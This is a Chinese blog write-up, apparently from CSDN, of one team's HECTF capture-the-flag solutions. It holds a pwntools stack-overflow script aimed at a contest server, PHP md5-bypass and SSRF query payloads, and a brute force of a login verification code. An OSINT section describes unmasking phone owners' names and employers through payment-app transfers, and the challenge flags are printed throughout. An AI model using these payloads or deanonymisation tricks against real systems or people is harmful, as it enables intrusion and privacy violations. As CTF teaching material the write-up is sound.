HECTF部分WP

本次比赛成绩还算勉强看的过去吧,不是很拉胯。经历了大师傅们最后的冲分以及分比重的调整,最终停在了24的位置,这里写一下做出来的题目的WP。

MISC

1.png

下载题目,是一张小猫猫。
多年杂项手的经验告诉我,这个图片必然改高度。用010editor打开,
为了方便直接修改个大点的高度,
获得了其中一半的flag。此时闲来无事,将内容往下拖,在文本内容的最后发现了熟悉的base64.
在线base64解密,获得后半部分。
flag:flag{94ed7fdae8f504743b79bdf8fcfd55fd}

2.不说人话

下载下来题目,果然是不说人话嗷
最开始以为是阴阳怪气编码,但查了一下,发现不一样,后来突然间想起Ook编码。开始进行替换,将.替换成Ook.将!替换成Ook!将?替换为Ook?之后,交给在线解码网站https://www.splitbrain.org/services/ook
获得了本次flag
flag:HECTF{TH1s_1s_crypt0_914nda0}

3.【真签到题】快来看直播啦~

直接去b站看直播就有,真签到

4.【The End】世界的终焉

填完问卷就给flag。

5.溯源!溯源!溯源!

进去之后是四个问卷题,全部答对即可获得flag,里面有点小坑的是只能做五次,并且每次无操作超过120s会自动提交。
第一个问题是关于网站的溯源,可利用whois(https://whois.sb/)来直接获得邮箱(站长工具里的会有两位打星号,差评)
第二个题是溯源手机号的机主的姓,用支付宝转账,里面可以获得部分,姓要猜一波,很幸运的猜中了。(如果猜不中的话,可以用手机银行给那个号转0.01后看账单)
第三个题是溯源手机号机主的名字最后一个字,直接按照第二步,支付宝上转账,会显示
第四个题是溯源手机号机主所属公司,这个比较坑,因为只让输三个字,但是所有公司都不只是三个字,有一个公司怎么分,填都是错的,很离谱,,但很侥幸,最后碰到了个好写的。
获得满分,直接get。(另外如果不满分也可以赌一把运气,看看你是不是欧皇抽到flag呢)

Reverse

1.Hello_Re

下载后查看程序,是一个32位的
ida打开,f5查看伪代码,不断跟进judge,

获得了判断的算法,最后寻找数据
写出的脚本:

s = [0x42,0x56,0x45,0x7F,0x32,0x6E,0x4E,0x3D,0x56,0x3B,0x78,0x53,0x4C,0x4F,0x50,0x62,0x74,0x73,0x7F,0x4B,0x73,0x21,0x56,0x7F,0x64]
flag =''
for i in range(len(s)):
    flag+=chr(s[i]^(i+1));
print(flag)

跑一下获得flag。

2.game1

老游戏大师了,CE直接是不行的哦,其中有个v4数组每四个变换,所以改跳转,将判断的来那两个jnz nop掉就开始自动上分了。达到1024,给出flag
flag:HECTF{We1cOme_t0_RE}

3.easymaze

简单的地图题,判断文件为32位程序,扔进32位ida中打开,看题目是熟悉的地图题。一开始提示我少两个dll,补上就可以了,打开之后简单的地图题二
最短路径可还行,233
flag:flag{2022000033002222202202}

4.emmmm

Python逆向,struct修补emmmm.pyc的头部,补上之后,umcompyle6找到源码,源码逻辑简单,全部减4,加上数组变换。脚本如下:
flag:flag{It'5_Rea1lY_s1Mp7E}

Web

1.签到

进去题目后是一个登录页,习惯性的查看源码,发现一个手机号。
先尝试了一波弱口令,但是不对,进入忘记密码的页面,查看源码发现发送验证码就是个摆设。
尝试抓包爆破验证码,确定为0233,修改密码后,去登陆,发现仍然不对,很惨,可能是有大师傅在改吧。所以,打开了两个界面,一个登陆,一个修改,修改完立刻登陆,获得flag。

flag:HECTF{a9a102c0c06fcf6c8072c30f0a52f1f2}

2.【BOOM】ezphp

查看题目源码,需要用get方式传参,让param1=param2而且str1与str2的md5值相等,且str1需为数字。所以构造payload:

?param1[]=1&param2[]=2&str1=2120624&str2=9081940

获得了flag
flag:hectf{b0c65ccf32a96a1f8dc3326f16ed4498}

3.ssrfme

通过百度题目,
找到一个基本一样的题目,根据他给出的非预期解的payload,直接打通。获得flag
payload:

?url=http://0.0.0.0/flag.php

flag:flag{04f3eaef-ec7c-4a44-8b54-062cd19295f3}

PWN

1.【BOOM】Maybe_is_medium

file查看文件,64位程序,checksec一下

栈溢出漏洞,熟悉的脚本登场:

from pwn import *
#r = process("./Maybe_is_medium")
r= remote('121.196.32.184',12003)
sys_addr = 0x000000000000A90
payload = 'a'*(0x18+8)
#payload += '1'
#payload += p64(sys_addr)
r.sendline(payload)
r.interactive()

getshell。
获得flag
flag:flag{10a63554-eaac-4926-9b65-55404be09aef}

Crypto

1.rsa

给出了n,e,c想到了之前做过类似的题。先去到http://www.factordb.com/index.php?query=74207624142945242263057035287110983967646020057307828709587969646701361764263进行n的分解,来获得p和q
知道p,q,e,c。熟悉的脚本登场:

# coding = utf-8

import gmpy2
import math
import libnum
from Crypto.Util.number import long_to_bytes

p = 2499568793

q = 4568695582742345507136251229217400959960856046691733722988345503429689799935696593516299458516865110324638359470761456115925725067558499862591063153473862179550706262380644940013531317571260647226561004191266100720745936563550699000939117068559232225644277283541933064331891245169739139886735615435506152070330233107807124410892978280063993668726927377177983100529270996547002022341628251905780873531481682713820809147098305289391835297208890779643623465917824350382592808578978330348769060448006691307027594085634520759293965723855183484366752511654099121387261343686017189426761536281948007104498017003911

e = 65537

c = 575061710950381118206735073806398116370706587076775765253483131078316908073202143802386128272374323616239083134747318254436706806781744501903333604772961927966747648954315962269321297121495398057938617145017999482722197661065698707836824505023856306403892307944203245563411961302499347604417024064678999003637933185177922884103362203639349298263339808508185861692596967147081382566246627668898774233029198694500565511361867375668367875805985660705137109665107860799277624050210666866958502948062330037309873148963011192405012811945540153592090345668265964477204465327474208098404082920129178960510763496025906621820

l = (p-1) * (q-1)
d = gmpy2.invert(e,l)
print (d)
n=p*q
m = pow(c,d,n)
x=long_to_bytes(m)
print (x)

运行后获得flag
flag:flag{8fb873baba0df4a6423be9f4bd525d93}

2.在这里签到

根据头部特征,很明显是rabbit加密,用在线解密工具https://www.sojson.com/encrypt_rabbit.html
解密后获得一个base64编码,果然开始套起来了呢
在线解密https://www.qqxiuzi.cn/bianma/base64.htm,之后得到一个base32,这是要base大家族全套按摩嘛
base16再走一波
获得了flag
flag:HECTF{438cd654dc85eec52cedab49d3d2f7ea}

3.no blank space

最开始以为是摩斯密码,后来发现不是,根据给出的提示搜索古老的5bit编码
找到了一个神奇的编码,根据他给的编码表首先想尝试人工转换的,可惜,我是废物。。。
所以后来搜索Baudot code在线工具,很幸运的找到了https://www.boxentriq.com/code-breaking/baudot-code根据要求把.换成1 ,–换成0得到如下(每五个一组)

10100 00001 01110 10000 01101 10000 10100 11011 10111 11111 00101 11011 10111 11111 00101 01100 10000 11100 11011 10110 11111 01010 00101 11011 00001

获得了flag,自己整理一下,加上{},这里也附上一个后来找到的更好的对照表(想人工的可以试试)

flag:HECTF{H1S1SNTM0RS3}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值